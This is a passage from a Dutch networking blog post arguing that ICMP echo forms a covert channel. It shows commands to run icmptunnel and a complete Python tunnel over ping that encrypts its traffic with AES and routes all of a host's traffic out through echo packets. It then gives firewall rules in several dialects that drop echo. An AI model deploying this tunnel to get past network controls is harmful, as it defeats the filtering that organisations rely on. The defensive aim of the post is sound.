zien wat je hebt gebouwd. Om te zien dat dit een VPN in de volle zin is — het verkeer van de hele machine dat via ping vertrekt, geen link tussen twee benoemde hosts — zet het met de hand in elkaar. icmptunnel8, van Dhaval Kapil, is degene daarvoor, en de eigen beschrijving is één regel: “Transparently tunnel your IP traffic through ICMP echo and reply packets.” Hetzelfde idee, tun-apparaat en echo-payloads, maar je legt de leidingen zelf en niets verbergt zich binnen een binary.\nOp de server start je de tunnel, breng je de interface op, en doe je dan het ding dat het hele spel verraadt: zeg de kernel dat hij zelf moet ophouden pings te beantwoorden, zodat zijn eigen echo-antwoorden niet vechten met die de tunnel verstuurt.\nsudo ./icmptunnel -s 10.0.1.1 # server mode; creates tun0, then blocks # from a second shell, bring the interface up (iproute2, not the net-tools the repo ships) sudo ip addr add 10.0.1.1/24 dev tun0 sudo ip addr add 2001:db8:1::1/64 dev tun0 sudo ip link set tun0 mtu 1472 up # 1500 − 20 (IP) − 8 (ICMP); see below # stop the kernel replying to pings — echo now belongs to the tunnel sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1 sudo sysctl -w net.ipv6.icmp.echo_ignore_all=1 # let the server route the client\u0026#39;s packets onward sudo sysctl -w net.ipv4.ip_forward=1 Lees de regel icmp_echo_ignore_all nog eens, want hij zegt meer dan hij lijkt. Die knop is de eigen knop van de kernel, en hij komt mee als een verdediging: zet hem en, in de woorden van de kernel, hij “will ignore all ICMP ECHO requests sent to it”9, zodat een operator een host volledig van de ping-radar kan halen. Hij is nu op beide families. net.ipv4.icmp_echo_ignore_all al jaren, en net.ipv6.icmp.echo_ignore_all later toegevoegd om te passen.10 De tunnel zet die verdedigende schakelaar aan om de tegenovergestelde reden: nu de kernel echo niet meer zelf beantwoordt, zijn zijn twee einden vrij om echo als puur transport te gebruiken. En dat is het teken. De mensen die de stack schreven behandelen echo al als iets dat een host redelijkerwijs mag weigeren — de regel in dit bericht maakt diezelfde keuze één keer, aan de grens, voor elke host erachter.\nOp de client breng je de interface op en wijs je dan de standaardroute eronderdoor. Niet één host die via de tunnel wordt bereikt. Alles.\nsudo ./icmptunnel -c \u0026lt;server-public-ip\u0026gt; # client mode; creates tun0 sudo ip addr add 10.0.1.2/24 dev tun0 sudo ip addr add 2001:db8:1::2/64 dev tun0 sudo ip link set tun0 mtu 1472 up # keep the route to the server itself OUT of the tunnel... sudo ip route add \u0026lt;server-public-ip\u0026gt; via \u0026lt;gateway\u0026gt; dev \u0026lt;iface\u0026gt; # ...then send everything else down it sudo ip route replace default dev tun0 De eigen client.sh en server.sh van het project grijpen nog naar ifconfig en route van net-tools. De ip-commando\u0026rsquo;s hierboven zijn de iproute2-equivalenten en doen hetzelfde werk. Die route naar de server is de regel die mensen vergeten: houd hem uit de tunnel, of de echo-pakketten die de tunnel dragen proberen zelf door de tunnel te reizen, en er vertrekt niets. Al het andere gaat nu door tun0, in echo verpakt, en bereikt de server. Of het verder gaat is een routeringskeuze. Eén masquerade-regel op de server zou het onder het eigen adres van de server op het publieke internet zetten, en die staat er met opzet niet, want de tunnel is het ding dat wordt getoond en heeft hem niet nodig.\nDat is een volledige-tunnel-VPN, gebouwd uit ping in een handvol commando\u0026rsquo;s. Elk pakket dat de client stuurt — web, DNS, SSH, alles — wordt in tun0 gevangen en vertrekt als een echo-verzoek naar de server, en de antwoorden komen terug als echo-antwoorden. Een machine op een netwerk dat “alleen ICMP toestaat” heeft net zijn hele uitgaande verkeer aan een bak buiten gegeven, en de grens logde een host die graag pingt.\nJe eigen bouwen in Python Hier is het deel dat iedereen zou moeten verontrusten die hoopt zich hiertegen te verdedigen door een gereedschap te herkennen. Noch Hans noch icmptunnel doet iets dat je niet zelf in een middag zou kunnen schrijven. Open een tun-apparaat, verpak elk pakket als de payload van een echo-verzoek, pak de terugkomende uit. Dat is het hele mechanisme, en de kale tunnel is ongeveer zestig regels Python uit de standaardbibliotheek zonder iets te installeren. De versie hieronder voegt er één ding aan toe: het versleutelt de payload, en dat is het enige deel dat een afhankelijkheid meebrengt.\n#!/usr/bin/env python3 # pingvpn.py — a VPN tunnel over ICMP echo, in one short file. # # Not a product. It exists to show the channel is trivial to rebuild, so a # defence that hunts for a known tool is chasing the wrong thing entirely. # Linux, needs root (a tun device and a raw ICMP socket both do), and the # `cryptography` package for the AES (pip install cryptography). # # server: sudo python3 pingvpn.py --server # client: sudo python3 pingvpn.py --client \u0026lt;server-public-ip\u0026gt; # # The payload is encrypted with AES-128-GCM under a pre-shared key before it # goes on the wire, so what a firewall sees in the echo data is random bytes — # the same as a real ping\u0026#39;s padding, and nothing for content inspection to read. import argparse import fcntl import hashlib import os import select import socket import struct import sys from cryptography.hazmat.primitives.ciphers.aead import AESGCM TUNSETIFF = 0x400454CA IFF_TUN = 0x0001 IFF_NO_PI = 0x1000 MAGIC = 0x4954 # \u0026#39;IT\u0026#39; in the id field, so we ignore real pings ECHO_REQUEST = 8 ECHO_REPLY = 0 PSK = b\u0026#34;change-me-to-a-shared-secret\u0026#34; # pre-shared secret, both ends KEY = hashlib.sha256(PSK).digest()[:16] # 128-bit key -\u0026gt; AES-128-GCM AEAD = AESGCM(KEY) def open_tun(name=b\u0026#34;tun0\u0026#34;): fd = os.open(\u0026#34;/dev/net/tun\u0026#34;, os.O_RDWR) fcntl.ioctl(fd, TUNSETIFF, struct.pack(\u0026#34;16sH\u0026#34;, name, IFF_TUN | IFF_NO_PI)) return fd def encrypt(data): # -\u0026gt; nonce || ciphertext+tag nonce = os.urandom(12) return nonce + AEAD.encrypt(nonce, data, None) def decrypt(blob): # raises on a packet that is not ours return AEAD.decrypt(blob[:12], blob[12:], None) def checksum(data): if len(data) % 2: data += b\u0026#34;\\x00\u0026#34; total = sum(struct.unpack(\u0026#34;!%dH\u0026#34; % (len(data) // 2), data)) total = (total \u0026gt;\u0026gt; 16) + (total \u0026amp; 0xFFFF) total += total \u0026gt;\u0026gt; 16 return ~total \u0026amp; 0xFFFF def build_echo(icmp_type, payload): head = struct.pack(\u0026#34;!BBHHH\u0026#34;, icmp_type, 0, 0, MAGIC, 0) csum = checksum(head + payload) return struct.pack(\u0026#34;!BBHHH\u0026#34;, icmp_type, 0, csum, MAGIC, 0) + payload def main(): ap = argparse.ArgumentParser(description=\u0026#34;a VPN tunnel over ICMP echo\u0026#34;) group = ap.add_mutually_exclusive_group(required=True) group.add_argument(\u0026#34;--server\u0026#34;, action=\u0026#34;store_true\u0026#34;) group.add_argument(\u0026#34;--client\u0026#34;, metavar=\u0026#34;SERVER_IP\u0026#34;) args = ap.parse_args() out_type = ECHO_REQUEST if args.client else ECHO_REPLY in_type = ECHO_REPLY if args.client else ECHO_REQUEST peer = args.client # None on the server until a client is seen tun = open_tun() sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) print(\u0026#34;tun0 created. bring it up with an address and route, then send traffic.\u0026#34;, file=sys.stderr) while True: readable, _, _ = select.select([tun, sock], [], []) if tun in readable: # a packet wants to leave this host packet = os.read(tun, 65535) if peer: sock.sendto(build_echo(out_type, encrypt(packet)), (peer, 0)) if sock in readable: # something arrived over ICMP data, _ = sock.recvfrom(65535) ihl = (data[0] \u0026amp; 0x0F) * 4 # skip the IP header the kernel adds icmp = data[ihl:] if len(icmp) \u0026lt; 8 or icmp[0] != in_type or icmp[4:6] != struct.pack(\u0026#34;!H\u0026#34;, MAGIC): continue try: packet = decrypt(icmp[8:]) # wrong key or a real ping -\u0026gt; skip except Exception: continue if args.server: peer = socket.inet_ntoa(data[12:16]) # reply to whoever sent os.write(tun, packet) # hand the carried packet to the stack if __name__ == \u0026#34;__main__\u0026#34;: main() Dat is de hele tunnel. Het opent tun0 en een ruwe ICMP-socket en pendelt pakketten ertussen: wat de host verlaat wordt verpakt als een echo-verzoek, of een echo-antwoord op de server, en naar de overkant gestuurd; wat over ICMP aankomt wordt uitgepakt en aan de stack teruggegeven. Het id-veld is op één waarde vastgezet zodat het over echte pings heen stapt, en de server leert waar hij moet antwoorden uit de bron van het eerste pakket dat hij ziet.\nDe versleuteling is het punt om bij stil te staan, want het is wat echt gereedschap doet en het is waarom je dit niet zult vangen door in het pakket te kijken. De payload wordt met AES-128-GCM onder een vooraf gedeelde sleutel verzegeld voordat hij wordt verpakt, dus de bytes in de echo-data zijn niet te onderscheiden van de willekeurige opvulling die een echte ping draagt. Haal de twee cryptoregels eruit en de tunnel draait nog op niets dan de standaardbibliotheek — de enige reden dat hij pip install cryptography nodig heeft is de AES, en de AES is juist het deel dat een leesbare tunnel in een onleesbare verandert. Breng hem op dezelfde manier op als eerder, min de masquerade. Je hebt hem niet nodig om het punt te bewijzen:\n# server: start it (creates tun0, then blocks), then configure from the same shell sudo python3 pingvpn.py --server \u0026amp; sudo ip addr add 10.9.0.1/24 dev tun0 sudo ip addr add 2001:db8:9::1/64 dev tun0 sudo ip link set tun0 mtu 1400 up sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1 sudo sysctl -w net.ipv6.icmp.echo_ignore_all=1 # client sudo python3 pingvpn.py --client \u0026lt;server-public-ip\u0026gt; \u0026amp; sudo ip addr add 10.9.0.2/24 dev tun0 sudo ip addr add 2001:db8:9::2/64 dev tun0 sudo ip link set tun0 mtu 1400 up sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1 sudo sysctl -w net.ipv6.icmp.echo_ignore_all=1 sudo ip route add \u0026lt;server-public-ip\u0026gt; via \u0026lt;gateway\u0026gt; dev \u0026lt;iface\u0026gt; sudo ip route replace default dev tun0 De reden om het uit te schrijven is niet het gereedschap. Het is dat het gereedschap wegwerpbaar is. Een kort bestand, geen afhankelijkheden tot je de versleuteling toevoegt, en elke kopie die iemand typt ziet er op de draad een tikje anders uit. Een signatuur die deze vangt, vangt dus volgende week niets. Je kunt je hier niet uit blokkeren door de software te benoemen, want er is geen software om te benoemen.\nHet heeft niet eens een shell nodig. De logica is bytes erin, bytes eruit, dus het port naar alles dat een socket kan openen. Zelfs WebAssembly: de browsersandbox weigert een pagina normaal een ruwe socket pardoes, maar waar die barrière is opgeheven (een browser die de toestemming van de gebruiker heeft gekregen, op een machine waar de gebruiker met genoeg rechten draait om een ruwe socket te openen) draait hetzelfde korte programma binnen een tab. En dat is de ongemakkelijke helft ervan. Je kunt je gebruikers hier niet vertrouwen. De host die de tunnel bestuurt zit aan de binnenkant, gehouden door iemand van wie je besloot dat hij veilig was omdat hij achter de firewall zit, en de firewall is het ding waar doorheen wordt getunneld. Perimetervertrouwen gaat ervan uit dat de dreiging buiten de muur is. Deze begint erbinnen, elke keer.\nLet op de MTU, en de vloer van 1280 op IPv6 De tunnel is niet gratis op de draad. Elk pakket dat je draagt krijgt een buitenste IP-header en een ICMP-header voordat het vertrekt, dus de binnenste interface moet onder wat het pad kan dragen zitten. Op IPv4 kost dat de aanvaller vrijwel niets. Zet de binnen-MTU laag (de 1472 van icmptunnel is 1500 min 20 voor de buitenste IP-header en 8 voor de ICMP-header, en de Python hierboven zakt naar 1400 voor speling), en waar het getal nog verkeerd is, fragmenteert IPv4 het te grote pakket en zet het aan de overkant weer in elkaar in plaats van het weg te gooien. Tussen de lage vloer die je kunt kiezen en fragmentatie die de rest wegwerkt, draait de tunnel over vrijwel elk pad. Die flexibiliteit is precies wat IPv4 de comfortabele plek maakt om dit te doen.\nDe fragmentatie en MTU-speling van IPv4 laten de tunnel overal draaien; IPv6 heeft geen van beide, dus faalt hij dicht Waarom hij overal draait op IPv4 en dicht faalt op IPv6 IPv4 IP-hdr 20 B ICMP 8 B binnenpakket tun MTU 1472 B Te groot? IPv4 fragmenteert en zet weer in elkaar \u0026#8212; de tunnel draait over vrijwel elk pad. IPv6 IPv6-hdr 40 B ICMPv6 8 B binnenpakket kan niet onder 1280 B harde vloer van 1280 B (RFC 8200) Te groot? IPv6-routers gooien het weg, geen fragmentatie \u0026#8212; de tunnel faalt dicht. De terugvallen van IPv4 \u0026#8212; een vloer die je kunt kiezen, fragmentatie voor de rest \u0026#8212; maken de tunnel betrouwbaar. IPv6 heeft geen van beide, dus de aanval die op IPv4 vrijwel overal draait is broos op IPv6. De veiligere familie hier. Packet Too Big \u0026#8212; een fout die je houdt, geen echo \u0026#8212; is wat een verzender de passende grootte laat vinden. Niet op schaal. De tunnel verliest een buitenste IP- en ICMP-header van elk pakket. IPv4 laat je de binnen-MTU afschaven en fragmenteert wat nog te groot is, dus het draait vrijwel overal; IPv6 zet een harde vloer van 1280 byte en zijn routers fragmenteren niet, dus een te groot pakket wordt weggegooid en de tunnel faalt dicht — en dat maakt IPv6 hier de veiligere familie. IPv6 is minder vergevingsgezind, en voor één keer is dat aan jouw kant. De vloer is hard: RFC 820011 §5 eist dat “every link in the Internet have an MTU of 1280 octets or greater”, en IPv6-routers fragmenteren onderweg niet. Dat haalt beide terugvallen van IPv4 in één keer weg, en het bijt de tunnel in beide richtingen. Draai hem over ICMPv6 en elke link op het pad moet 1280 dragen, dus een pad dat daaronder zakt haalt het transport onderuit, en er is geen afschaven onder de vloer zoals op IPv4 kan. Draag IPv6 binnen de tunnel en je stuit van de andere kant op dezelfde muur: de binnenste interface kan ook niet onder 1280, terwijl de buitenste ICMPv6-verpakking, 40 byte header en 8 van ICMPv6, het budget al opmaakt, dus het pad moet 1280 plus de overhead sparen. Mis het op een van beide plekken en het pakket wordt weggegooid, niet kleiner gemaakt om te passen: de tunnel komt op, kleine dingen werken, alles van volle grootte hangt. IPv6 is hier dus de veiligere familie, niet de riskantere. De aanval die op IPv4 over vrijwel alles draait is broos op IPv6, en faalt dicht. Veiliger is niet hetzelfde als veilig, let wel: het echo-kanaal is ook op IPv6 open, dus de regel gooit het nog steeds weg op beide families — de aanvaller kan alleen niet op IPv6 leunen zoals hij op IPv4 leunt.\nHet herstel daaruit is de ICMP-fout die je zorgvuldig hebt gehouden. Packet Too Big is wat een verzender de werkende grootte laat vinden, en het is een fout, geen echo, dus de regel waarvoor dit bericht pleit laat het met rust. Gooi de tunnel weg en houd de diagnoses — dat is het hele ontwerp, en de MTU is nog een plek waar het zijn plek verdient.\nDe regel, versmald tot echo Het vorige bericht gaf de volledige transitregelset: sta de fouten toe onder een ratelimiet, gooi het echo weg. Ik ga het niet herdrukken. De wijziging waarvoor dit bericht pleit is één paar regels, en het is het paar dat het werk doet:\n# permit the ICMP errors — these are load-bearing, keep them ip protocol icmp icmp type { destination-unreachable, time-exceeded, parameter-problem } \\ limit rate 100/second accept ip6 nexthdr ipv6-icmp icmpv6 type { destination-unreachable, packet-too-big, \\ time-exceeded, parameter-problem } limit rate 100/second accept # drop the tunnel — echo, both directions, both families ip protocol icmp icmp type { echo-request, echo-reply } drop ip6 nexthdr ipv6-icmp icmpv6 type { echo-request, echo-reply } drop De regel is echter niet die van Linux. Het is dezelfde bedoeling op elke firewall die de naam waard is: sta de fouten toe, begrens hun tempo, gooi echo beide kanten op op beide families weg. Dus hier is het in de dialecten die je waarschijnlijker vasthoudt.\nBSD pf (pfSense, OPNsense, OpenBSD, FreeBSD):\n# permit the errors; block echo both directions, both families pass in proto icmp icmp-type { unreach, timex, paramprob } pass in proto icmp6 icmp6-type { unreach, toobig, timex, paramprob, \\ routersol, routeradv, neighbrsol, neighbradv } block in proto icmp icmp-type { echoreq, echorep } block in proto icmp6 icmp6-type { echoreq, echorep } Houd de neighbour-discovery-types op de icmp6-regel; dat zijn degene die het segment onderuithalen als je ze kwijtraakt.\nCisco IOS (uitgebreide ACL\u0026rsquo;s, aan de rand toegepast):\nip access-list extended ICMP-EDGE permit icmp any any unreachable permit icmp any any time-exceeded permit icmp any any parameter-problem deny icmp any any echo deny icmp any any echo-reply ! ipv6 access-list ICMP6-EDGE permit icmp any any packet-too-big permit icmp any any unreachable permit icmp any any time-exceeded permit icmp any any parameter-problem permit icmp any any nd-ns permit icmp any any nd-na deny icmp any any echo-request deny icmp any any echo-reply Op IPv4 is het echo-type echo; op IPv6 is het echo-request. Ratelimieten wonen in CoPP, niet in de ACL.\nJuniper Junos (firewallfilter; het inet6-filter spiegelt dit en houdt neighbour discovery):\nfirewall family inet filter icmp-edge { term errors { from { protocol icmp; icmp-type [ unreachable time-exceeded parameter-problem ]; } then { policer icmp-cap; accept; } } term drop-echo { from { protocol icmp; icmp-type [ echo-request echo-reply ]; } then discard; } } MikroTik RouterOS — gooi de twee echo-types weg, aanvaard dan de rest van ICMP, wat de fouten houdt en, op v6, neighbour discovery:\n/ip firewall filter add chain=forward protocol=icmp icmp-options=8:0 action=drop comment=\u0026#34;echo request\u0026#34; add chain=forward protocol=icmp icmp-options=0:0 action=drop comment=\u0026#34;echo reply\u0026#34; add chain=forward protocol=icmp action=accept comment=\u0026#34;keep the errors (add limit= to cap)\u0026#34; /ipv6 firewall filter add chain=forward protocol=icmpv6 icmp-options=128:0 action=drop comment=\u0026#34;echo request\u0026#34; add chain=forward protocol=icmpv6 icmp-options=129:0 action=drop comment=\u0026#34;echo reply\u0026#34; add chain=forward protocol=icmpv6 action=accept comment=\u0026#34;keep errors and ND\u0026#34; Andere syntaxis, één regel. Sta de berichten toe die de waarheid dragen, gooi het ene weg dat je bytes draagt.\nTwee waarschuwingen, die je allebei bijten als je erover heen leest.\nGooi echo weg aan de grens, niet op de draad tussen een host en zijn eigen router. Op IPv6 is neighbour discovery ICMP — types 133 tot 137, nd-router-solicit tot en met nd-redirect — en het is hoe het segment het werk doet dat ARP in IPv4 doet. Draag een echo-drop naar een link-lokale of hostketen zonder die te houden en het segment houdt binnen minuten op te werken, en het zal er niet uitzien als een firewallfout. Filter echo waar verkeer je netwerk verlaat, en laat de interne ketens met rust.\nGooi het in beide richtingen weg en het houdt op nuttig te zijn, hoe dan ook. Alleen het verzoek blokkeren stopt dat je hosts worden gepingd maar laat nog steeds een antwoord naar buiten, en een tunnel kan met wat meer moeite op antwoorden alleen worden gebouwd. Gooi verzoek en antwoord weg, op IPv4 en IPv6, en het kanaal is beide kanten op gesloten.\nWat ping weggooien je echt kost Wees eerlijk over het verlies, want een controle die je hebt oververkocht is een controle die iemand stil terugdraait de eerste keer dat het onhandig is.\nJe verliest ping over de grens. Dat is de kost, volledig gesteld. Het is een echte kost. ping is de reflex, het zit in ieders vingers, en de dag nadat je dit uitrolt zal iemand zeggen dat het internet plat ligt omdat hun ping naar de gateway een time-out geeft. Het ligt niet plat. Je zei de gateway op te houden met een verzoek te beantwoorden dat altijd alleen een gemak was.\nBereikbaarheid testen heeft geen echo nodig. Een TCP-verbinding naar een poort waarvan je weet dat hij open is, vertelt je dat de host op is en het pad werkt, en het vertelt je meer dan een ping, want het bewijst dat een dienst antwoordde, niet alleen een kernel:\n# \u0026#34;is it up and reachable?\u0026#34; without sending a single echo nc -zv \u0026lt;host\u0026gt; 443 # did the TCP handshake complete? traceroute -T -p 443 \u0026lt;host\u0026gt; # walk the path on TCP, read the errors back Beide rijden op de ICMP-fouten die je hield en de TCP die een echte dienst al spreekt. Geen van beide stuurt een echo. De eerlijke ruil is dus deze: je geeft het minst informatieve gereedschap in de doos op, degene die “is een kernel bereid te antwoorden” beantwoordt en niets meer, en in ruil sluit je het enige deel van ICMP dat een aanvaller in een route van je netwerk af kan veranderen. De diagnoses waar je op een slechte dag echt naar grijpt zitten allemaal aan de andere kant van de streep, onaangeroerd.\nDe Fisher-Price OS (Windows) is hier geen uitweg Draai je een winkel op een Fisher-Price OS (Windows), dan lees je dit misschien als het probleem van iemand anders. Dat is het niet. Het risico zit in het protocol, niet in het besturingssysteem. De standaard verplicht elke host die een ping beantwoordt je bytes terug te geven, en hij stopt niet om eerst te vragen wat de host draait.\nEen bak op dat besturingssysteem maakt een prima tunneleindpunt. Hans levert een Windows-client, dus een machine binnen kan het clienteinde zijn en zijn verkeer naar buiten geven binnen echo als elke andere. Wat het niet makkelijk kan zijn is het servereinde, want dat wil een tun-apparaat en een ruwe ICMP-socket opengehouden, en op dit besturingssysteem kunnen alleen leden van de groep Administrators sockets van het type SOCK_RAW aanmaken12 — de eigen woorden van Microsoft. De server zit dus op een echt besturingssysteem, zoals de mijne, en de bak achter de firewall die zich stil naar buiten pingt is degene waarvan je is verteld dat hij veilig was omdat hij aan de binnenkant zat.\nEn dat is het punt voor iedereen die het verdedigt. De grensregel kan het niet schelen wat de binnenkant draait. Gooi echo weg waar het verkeer het netwerk verlaat en elke host erachter is gedekt — degene die je beheert, en degene waarvan je werd verzekerd dat hij zich achter NAT verstopte. Ik draai het ding niet, en ik ga niet doen alsof de tunnel het respecteert. De oplossing is dezelfde regel, op dezelfde plek, waar het eindpunt ook in is opgestart.\nIs de bak zelf wat je hardt (de bak, niet het netwerk), dan zal PowerShell hem tenminste laten ophouden een ping op eigen houtje te beantwoorden of uit te stoten:\nforeach ($t in 8,0) { New-NetFirewallRule -DisplayName \u0026#34;Drop ICMPv4 Echo $t\u0026#34; -Protocol ICMPv4 -IcmpType $t -Direction Inbound -Action Block } foreach ($t in 128,129) { New-NetFirewallRule -DisplayName \u0026#34;Drop ICMPv6 Echo $t\u0026#34; -Protocol ICMPv6 -IcmpType $t -Direction Inbound -Action Block } Voeg tweelingen met -Direction Outbound toe om te stoppen dat hij als tunnelclient naar buiten reikt in plaats van als doelwit te blijven zitten, en laat de ICMPv6-fout- en neighbour-discovery-types met rust, om de reden dat ze overal elders op deze pagina met rust worden gelaten. Maar verwar het niet met de controle. Een hostfirewall is geen transitfirewall. Het hardt de bak en verandert niets aan de grens, en de grens is waar dit echt wordt gesloten.\nKaart dit vandaag aan bij wie je grens beheert Je hebt dit vermoedelijk zo ver gelezen denkend aan een netwerk dat niet van jou is om te wijzigen. De meeste mensen wel. Het nuttige om te doen is dus niet naar de firewall grijpen, het is de vraag voorleggen aan wie hem vasthoudt — je eigen netwerkteam, je MSP, of de leverancier wiens bak aan de rand zit — en die vandaag voorleggen, want dit is een open deur sinds 1996 en nog een week ervan is een keuze.\nVraag onomwonden, en vraag met een blanco blik verwachtend, want ik zou de hele Britse GDP verwedden dat niemand daar echo een tweede gedachte heeft gegeven. Het is het ene pakket dat iedereen toestaat en niemand bezit, en een onbezeten regel is precies degene die jaren verkeerd heeft gestaan zonder dat iemand het merkt.\nVraag ze vier dingen, in deze woorden, zodat er geen ruimte is om mee te knikken en niets te veranderen:\nGooien we ICMP-echo-verzoek en echo-antwoord weg aan de grens, op IPv4 en IPv6 allebei? Niet “staan we ICMP toe” — het specifieke bericht, beide richtingen, beide families. Is het antwoord één familie, dan is het geen antwoord, want de tunnel verhuist gewoon naar de andere. Staan we de ICMP-fouten nog steeds toe? Destination Unreachable, Time Exceeded, Parameter Problem, en Packet Too Big op IPv6, onder een ratelimiet in plaats van een blokkade. Kunnen ze het niet zeggen, dan is de kans even groot dat ze of alles open hebben gelaten of de hele boel hebben geblokkeerd, en beide zijn verkeerd. Hebben we IPv6-neighbour-discovery op de interne ketens gehouden? Types 133 tot 137. Dit is degene die van “we hebben ICMP gehard” een segment maakt dat een week later stil sterft, en het is de fout die een gehaaste wijziging maakt. Laat me de regel zien. Geen beleidsverklaring, de echte regel op de echte bak, en de datum dat hij erop kwam. Een controle die niemand kan aanwijzen is een controle die er niet is. Zal de bak van de leverancier zijn gekomen met dit al gesloten? Niet dus. De standaard is vrijwel overal om echo door te laten en het als een pakkettelling vast te leggen, wat de hele reden is dat de tunnel überhaupt werkt. Het buit geen fout uit, het gebruikt de configuratie die als standaard meekomt. Niemand sluit een deur waarvan hij nooit is verteld dat hij open was.\nDe reden om op de bewoording te staan is dat de luie oplossing voor dit bericht “goed, we blokkeren ICMP” is, en die oplossing is erger dan het gat. Het maakt path MTU discovery en traceroute kapot, het zal je hangende overdrachten laten najagen met niets in de logs, en op IPv6 haalt het delen van het internet volledig van tafel. Grijpt de persoon die je vraagt daarnaar, hou ze tegen. De instructie is met opzet smal: gooi echo weg, houd de fouten, houd neighbour discovery. Iedereen die firewalls voor de kost draait zou die wijziging dan ook in een middag moeten kunnen maken en je zeggen dat het klaar is.\nEn zijn ze een MSP die je betaalt om dit te draaien: een leverancier die je je eigen echo-en-foutpositie niet uit het hoofd kan vertellen, of die “we blokkeren ICMP” antwoordt alsof dat de veilige optie was, heeft je net iets verteld over de rest van de omgeving. De volgende keer dat een storing tussen twee netwerken zit en beide zeggen dat ze schoon zijn, onthou welke van hen niet kon beschrijven wat zijn eigen firewall met een ping doet.\nDe diagnose die nooit een diagnose was Ping heeft een goede tijd gehad. Mike Muuss schreef het in 1983 om na te kijken of een host antwoordde, noemde het naar sonar, en het deed dat ene werk zo goed dat het het eerste werd waar iedereen naar grijpt en het laatste dat iemand in twijfel trekt. Veertig jaar later is het spiergeheugen, en spiergeheugen is precies hoe een risico overleeft. Niemand herbekijkt het ding dat hij altijd heeft gedaan.\nMaar kijk naar wat het echt is, ontdaan van de gewoonte. Een bericht dat geen feit over het netwerk draagt, dat elke host verplicht is te beantwoorden met je eigen bytes teruggegeven, dat over een protocol loopt dat de controles niet inspecteren en de logs niet lezen. Alles wat het onschuldig laat voelen — het is maar een diagnose, het is maar een keepalive, iedereen staat het toe — is hetzelfde dat het de schoonste weg af van een gefilterd netwerk maakt die bestaat. De industrie blokkeert de ICMP-fouten, die de waarheid dragen en het netwerk kapotmaken als ze weg zijn, en zwaait echo door, dat draagt wat je erin laadt. Het heeft het protocol precies op zijn kop.\nDe oplossing is niet slim. Houd de berichten die je de waarheid vertellen, en gooi degene weg die alleen je bytes teruggeeft. Het kost je een commando dat je toch al geen zaak had te vertrouwen voor een diagnose, en het sluit een deur die open heeft gestaan sinds 1996, gedocumenteerd in een hackerblad, twee decennia lang verpakt, en wagenwijd gelaten omdat hem sluiten zou betekenen dat iemand niet kon pingen. Weet wat een ding kost, niet wat het is geprijsd. Ping is geprijsd op niets. Het kost je het ene kanaal dat je niet kunt zien.\nLoki, Phrack 49 — een commandokanaal gedragen binnen de echo-payloads van ICMP, 1996.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPtunnel — draagt een TCP-sessie binnen ICMP-echo.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 792 — ICMP: “the data received in the echo message must be returned in the echo reply message”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4443 — ICMPv6: echo-data “MUST be returned entirely and unmodified in the ICMPv6 Echo Reply message”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4890 — de ICMPv6-berichten die een firewall niet mag weggooien.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 1812 — routervereisten: Time Exceeded is een MUST, genoemd naar traceroute.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHans — IP-over-ICMP-echo-tunnel, van Friedrich Schöller.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nicmptunnel — tunnelt IP-verkeer door ICMP-echo- en antwoordpakketten, van Dhaval Kapil.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nLinux kernel — IP sysctl — icmp_echo_ignore_all: “the kernel will ignore all ICMP ECHO requests sent to it”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nLinux commit e6f86b0f — \u0026ldquo;ipv6: Add icmp_echo_ignore_all support for ICMPv6\u0026rdquo; — het IPv6-equivalent, van Virgile Jarry.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 8200 §5 — IPv6 eist dat elke link een MTU van ten minste 1280 octetten heeft.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — TCP/IP raw sockets — “only members of the Administrators group can create sockets of type SOCK_RAW”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/nl/networking/ping-the-diagnostic-tool-that-opens-a-whole-lot-more/","summary":"Ping, niet de rest van ICMP, is het risico: echo is een kanaal dat elke host met je eigen bytes moet beantwoorden, dus een netwerk dat \u0026lsquo;alleen ping toestaat\u0026rsquo; heeft al een volledige VPN naar buiten. Dit loopt eerst de dreiging af — wat het je uitgaande verkeer kost, en hoe een bezoeker op je wifi of een niet-vergrendelde ethernetpoort er een kan openen — dan drie werkende tunnels op ping alleen (Hans, icmptunnel, en een korte in Python met AES-128), de haken van MTU en IPv6, en de regel die het sluit: gooi echo weg, houd de fouten, in nftables, pf, Cisco, Junos, MikroTik en Windows.","title":"Ping: het diagnosegereedschap dat een heleboel meer opent"},{"content":" Is Your MSP Lying To You — 3 parts\nLiegt Je MSP Tegen Je Om Je Premiumproducten Te Verkopen?you are here Wat Je MSP Voor Je Bouwde, En Wie Het Nog Meer Kan Bereiken Wanneer Het Breekt, Wie Draagt Het Werkelijk? Kort antwoord: sommige wel.\nHet langere antwoord is erger, en het is degene die je tijd waard is. De meeste hoeven nooit te liegen, want de regeling doet het voor ze. Ze worden betaald door de vendors wiens producten ze aanbevelen, tegen tarieven die meebewegen met welk product je neemt en hoeveel ervan verbruikt wordt, en niemand is verplicht er een woord over te reppen. Zet een bedrijf dertig jaar in die positie en oneerlijkheid wordt overbodig. De shortlist schrijft zichzelf.\nVan waar jij zit, aan de ontvangende kant van de factuur, kosten een leugen en een doorgestoken proces precies hetzelfde.\nDit deel is het verkopen: wie de persoon betaalt die je adviseert, wat de shortlist nooit haalt, waarom het betere antwoord degene is die ze niet zullen aanbieden, en wat je stilletjes huurt. Deel twee is wat er gebouwd wordt zodra het papierwerk getekend is en wie het nog meer kan bereiken. Deel drie is wie het draagt wanneer het ding omvalt, en wat weggaan kost. Een deel ervan heb ik zien gebeuren. De rest staat in het openbare dossier met de naam van een toezichthouder erop, en elke bewering hier draagt een link.\nNiets ervan vereist dat je technisch bent. Je hoeft alleen te vragen.\nDe Makkelijke Fix Is Het Teken Neem een gangbare. Een thuiswerker krijgt zijn laptop geen VPN-tunnel terug naar kantoor. De provider kijkt ernaar en komt terug met iets dat de klant aan het thuiseind moet veranderen. 